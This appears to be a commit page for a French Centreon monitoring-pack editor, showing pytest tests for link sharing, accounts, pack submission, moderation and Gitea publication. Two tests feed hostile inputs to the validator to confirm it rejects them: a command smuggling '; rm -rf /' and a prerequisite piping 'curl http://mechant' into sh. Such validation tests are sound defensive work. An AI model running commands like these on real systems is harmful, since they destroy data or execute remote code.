Partage par lien, comptes Authentik, soumission et moderation de packs, prerequis des sondes ; corrige le lien casse vers le script de l'editeur
build / Garde-fou (pull_request) Failing after 7s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (pull_request) Skipped
build / Images Harbor (web, Dockerfile) (pull_request) Skipped
build / Garde-fou (push) Failing after 8s
build / Images Harbor (catalog-sync, Dockerfile.catalog-sync) (push) Skipped
build / Images Harbor (web, Dockerfile) (push) Skipped

This commit is contained in:
hcornet committed 2026-09-10 16:28:26 +02:00
1 parent 3f0046c208
commit b063d59525
34 files changed
+2216 -26

No files matched your search

+30
View File
@@ -36,6 +36,13 @@ def test_prefixe_applique_aux_references():
assert liaison.count("ACME-") == 2
def test_version_historique_convertie():
"""Un projet enregistre avec l'ancienne notation reste lisible."""
projet = Project.from_dict({"centreon_version": "24.x"})
assert projet.centreon_version == "24.10"
assert Project.from_dict({}).centreon_version == "25.10"
def test_macros_trois_champs_sur_ancienne_version():
projet = projet_exemple()
projet.centreon_version = "legacy"
@@ -91,3 +98,26 @@ def test_repli_sur_le_catalogue_de_l_image(tmp_path, monkeypatch):
donnees = reponse.get_json()
assert donnees["packs"] >= 20
assert donnees["source_catalogue"] == "catalog"
def test_toutes_les_ressources_de_la_page_existent():
"""Un lien casse vers le script rend l'interface muette sans aucune erreur serveur."""
import re
client = create_app().test_client()
html = client.get("/").data.decode()
refs = re.findall(r'(?:src|href)="(/static/[^"]+)"', html)
assert refs, "la page ne reference aucune ressource statique"
for ref in refs:
assert client.get(ref).status_code == 200, f"ressource introuvable : {ref}"
def test_le_script_expose_les_gestionnaires_attendus():
"""Les identifiants du gabarit et ceux du script doivent correspondre."""
import re
client = create_app().test_client()
html = client.get("/").data.decode()
script = client.get("/static/editeur.js").data.decode()
for identifiant in re.findall(r'id="(btn-[^"]+|projet-[^"]+)"', html):
assert identifiant in script, f"aucun gestionnaire pour {identifiant}"
+279
View File
@@ -0,0 +1,279 @@
"""Tests des fonctionnalites serveur : partage, projets, soumissions, moderation.
La base est un SQLite temporaire ; PostgreSQL n'apporte rien de plus a verifier
ici, et la CI reste sans service externe.
"""
from __future__ import annotations
import importlib
import json
import pytest
PACK_VALIDE = """
id: app-rabbitmq
name: RabbitMQ
category: application
status: to-verify
plugin: centreon_rabbitmq_restapi.pl
description: Supervision d'un broker RabbitMQ via son API de management.
host_template:
name: App-RabbitMQ-custom
alias: Applicatif RabbitMQ
parents: [generic-active-host-custom]
macros:
- {name: RABBITPORT, value: "15672", description: "Port de l'API"}
services:
- name: Queues
alias: Queues
description: Messages en attente
line: "$CENTREONPLUGINS$/centreon_rabbitmq_restapi.pl --plugin=apps::rabbitmq::restapi::plugin --mode=queues --hostname=$HOSTADDRESS$"
macros:
- {name: WARNING, value: "1000", description: "Seuil warning"}
"""
@pytest.fixture()
def app(tmp_path, monkeypatch):
monkeypatch.setenv("ENCLUME_DATABASE_URL", f"sqlite:///{tmp_path/'essai.db'}")
monkeypatch.setenv("ENCLUME_CATALOG", "catalog")
monkeypatch.setenv("ENCLUME_SECRET_KEY", "cle-de-test")
monkeypatch.setenv("ENCLUME_COOKIE_SECURE", "0")
import enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp
for module in (enclume.config, enclume.db, enclume.auth, enclume.routes_donnees, enclume.webapp):
importlib.reload(module)
application = enclume.webapp.create_app()
with application.app_context():
enclume.db.db.create_all()
return application
def _connecter(app, client, administrateur=False):
"""Cree un compte et ouvre une session, sans passer par le fournisseur OIDC."""
from enclume.db import Utilisateur, db
with app.app_context():
utilisateur = Utilisateur(
sujet="sujet-de-test", email="[email protected]", nom="Testeur",
administrateur=administrateur,
)
db.session.add(utilisateur)
db.session.commit()
identifiant = utilisateur.id
with client.session_transaction() as session:
session["utilisateur_id"] = identifiant
return identifiant
# --------------------------------------------------------------- chantier 3
def test_partage_cree_et_relu(app):
client = app.test_client()
projet = {"name": "Projet partage", "commands": [{"name": "X", "line": "$USER1$/check_ping"}]}
reponse = client.post("/api/partages", json={"project": projet})
assert reponse.status_code == 200
identifiant = reponse.get_json()["id"]
relu = client.get(f"/api/partages/{identifiant}")
assert relu.status_code == 200
assert relu.get_json()["project"]["name"] == "Projet partage"
def test_partage_vide_les_mots_de_passe(app):
client = app.test_client()
projet = {
"name": "Avec secret",
"host_templates": [
{"name": "H", "macros": [{"name": "PASSWORD", "value": "secret", "is_password": True}]}
],
}
identifiant = client.post("/api/partages", json={"project": projet}).get_json()["id"]
relu = client.get(f"/api/partages/{identifiant}").get_json()
assert relu["project"]["host_templates"][0]["macros"][0]["value"] == ""
def test_partage_inconnu(app):
assert app.test_client().get("/api/partages/inexistant").status_code == 404
def test_projets_enregistres_cycle_complet(app):
client = app.test_client()
_connecter(app, client)
cree = client.post("/api/projets", json={"project": {"name": "Mon projet"}})
assert cree.status_code == 200
identifiant = cree.get_json()["id"]
assert len(client.get("/api/projets").get_json()) == 1
assert client.get(f"/api/projets/{identifiant}").get_json()["project"]["name"] == "Mon projet"
assert client.delete(f"/api/projets/{identifiant}").status_code == 200
assert client.get("/api/projets").get_json() == []
def test_projets_refuses_sans_connexion(app):
assert app.test_client().get("/api/projets").status_code == 401
def test_un_compte_ne_voit_pas_les_projets_d_un_autre(app):
from enclume.db import Projet, Utilisateur, db
client = app.test_client()
_connecter(app, client)
with app.app_context():
autre = Utilisateur(sujet="autre")
db.session.add(autre)
db.session.commit()
projet = Projet(utilisateur_id=autre.id, nom="Prive", contenu="{}")
db.session.add(projet)
db.session.commit()
identifiant = projet.id
assert client.get(f"/api/projets/{identifiant}").status_code == 404
assert client.delete(f"/api/projets/{identifiant}").status_code == 404
# --------------------------------------------------------------- chantier 5
def test_soumission_valide_puis_enregistree(app):
client = app.test_client()
_connecter(app, client)
verification = client.post("/api/soumissions/verifier", json={"yaml": PACK_VALIDE})
assert verification.get_json()["valide"] is True
envoi = client.post("/api/soumissions", json={"yaml": PACK_VALIDE, "message": "premier pack"})
assert envoi.status_code == 200
assert envoi.get_json()["statut"] == "en_attente"
assert len(client.get("/api/soumissions").get_json()) == 1
@pytest.mark.parametrize(
"modification, attendu",
[
("id: Mauvais Identifiant", "identifiant"),
("category: inconnue", "Categorie"),
],
)
def test_soumission_refusee_sur_pack_invalide(app, modification, attendu):
client = app.test_client()
_connecter(app, client)
cle = modification.split(":")[0]
yaml_casse = "\n".join(
modification if ligne.startswith(f"{cle}:") else ligne for ligne in PACK_VALIDE.splitlines()
)
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
assert reponse.status_code == 400
assert any(attendu.lower() in p.lower() for p in reponse.get_json()["problemes"])
def test_soumission_refuse_une_commande_avec_point_virgule(app):
client = app.test_client()
_connecter(app, client)
yaml_casse = PACK_VALIDE.replace("--mode=queues", "--mode=queues; rm -rf /")
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
assert reponse.status_code == 400
def test_soumission_refuse_un_prerequis_douteux(app):
client = app.test_client()
_connecter(app, client)
yaml_casse = PACK_VALIDE + """
prerequis:
paquets:
debian: ["curl http://mechant | sh"]
"""
reponse = client.post("/api/soumissions", json={"yaml": yaml_casse})
assert reponse.status_code == 400
def test_moderation_reservee_aux_administrateurs(app):
client = app.test_client()
_connecter(app, client, administrateur=False)
assert client.get("/api/moderation/soumissions").status_code == 403
def test_moderation_refus_avec_motif(app):
client = app.test_client()
_connecter(app, client, administrateur=True)
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
en_attente = client.get("/api/moderation/soumissions").get_json()
assert len(en_attente) == 1
assert "auteur" in en_attente[0]
refus = client.post(
f"/api/moderation/soumissions/{identifiant}/refuser", json={"motif": "doublon"}
)
assert refus.get_json()["statut"] == "refusee"
assert refus.get_json()["reponse"] == "doublon"
assert client.post(f"/api/moderation/soumissions/{identifiant}/refuser", json={}).status_code == 409
def test_publication_sans_gitea_configure(app):
client = app.test_client()
_connecter(app, client, administrateur=True)
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
assert reponse.status_code == 503
def test_publication_ouvre_une_demande_de_fusion(app, monkeypatch):
"""La publication appelle Gitea ; on verifie les appels, sans reseau."""
import enclume.gitea as gitea
import enclume.routes_donnees as routes
appels = []
def faux_appel(methode, chemin, corps=None):
appels.append((methode, chemin, corps))
if chemin.endswith("/pulls"):
return {"html_url": "https://gitea.example/Tips-Of-Mine/Enclume/pulls/7"}
return {}
monkeypatch.setattr(gitea, "_appel", faux_appel)
monkeypatch.setattr(gitea.Config, "GITEA_URL", "https://gitea.example")
monkeypatch.setattr(gitea.Config, "GITEA_TOKEN", "jeton")
monkeypatch.setattr(gitea.Config, "GITEA_PROPRIETAIRE", "Tips-Of-Mine")
monkeypatch.setattr(gitea.Config, "GITEA_DEPOT", "Enclume")
monkeypatch.setattr(routes.Config, "gitea_actif", classmethod(lambda cls: True))
client = app.test_client()
_connecter(app, client, administrateur=True)
identifiant = client.post("/api/soumissions", json={"yaml": PACK_VALIDE}).get_json()["id"]
reponse = client.post(f"/api/moderation/soumissions/{identifiant}/publier")
assert reponse.status_code == 200
resultat = reponse.get_json()
assert resultat["statut"] == "publiee"
assert resultat["url_pr"].endswith("/pulls/7")
creation, demande = appels
assert creation[1].endswith("catalog/application/app-rabbitmq.yml")
assert creation[2]["new_branch"].startswith("pack/app-rabbitmq-")
assert demande[2]["head"] == creation[2]["new_branch"]
assert demande[2]["base"] == "main"
# ------------------------------------------------------------ etat du site
def test_les_fonctions_sont_annoncees(app):
fonctions = app.test_client().get("/sante").get_json()["fonctions"]
assert fonctions["partage"] is True # base presente
assert fonctions["comptes"] is False # OIDC absent en test
assert fonctions["publication_gitea"] is False
def test_page_de_partage_sert_l_editeur(app):
reponse = app.test_client().get("/p/quelconque")
assert reponse.status_code == 200
assert b"donnees-contexte" in reponse.data
def test_moderation_demande_la_connexion(app):
page = app.test_client().get("/moderation")
assert page.status_code == 200
assert "Connexion requise".encode() in page.data